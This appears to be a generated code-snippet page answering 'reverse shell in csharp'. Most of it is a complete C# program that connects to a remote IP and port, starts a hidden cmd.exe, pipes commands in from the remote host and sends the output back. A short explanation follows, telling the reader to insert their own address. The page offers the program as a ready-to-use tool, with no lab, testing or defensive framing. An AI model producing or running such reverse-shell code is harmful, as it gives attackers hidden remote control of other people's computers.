reverse shell in csharp

Here is an example code for establishing a reverse shell in C#:

main.cs
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

namespace ReverseShell
{
    class Program
    {
        static void Main(string[] args)
        {
            // Replace the ip address and port number with your own
            TcpClient client = new TcpClient("192.168.1.100", 4444);
            Stream stream = client.GetStream();
            StreamReader reader = new StreamReader(stream);
            StreamWriter writer = new StreamWriter(stream);

            // Start the command prompt process
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardInput = true;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.Start();

            // Read the output and error streams of the command prompt process and send them to the remote host
            StreamReader outputReader = process.StandardOutput;
            StreamReader errorReader = process.StandardError;
            while (true)
            {
                string command = reader.ReadLine();
                if (command == null) break;

                process.StandardInput.WriteLine(command);

                string output = outputReader.ReadToEnd();
                string error = errorReader.ReadToEnd();

                writer.WriteLine(output);
                writer.WriteLine(error);
                writer.Flush();
            }

            process.Kill();
        }
    }
}
1714 chars
52 lines

The code establishes a TCP connection to a remote host, starts a command prompt process, and relays the output and error streams of the process to the remote host. Note that you should replace the IP address and port number with your own.

related categories

gistlibby LogSnag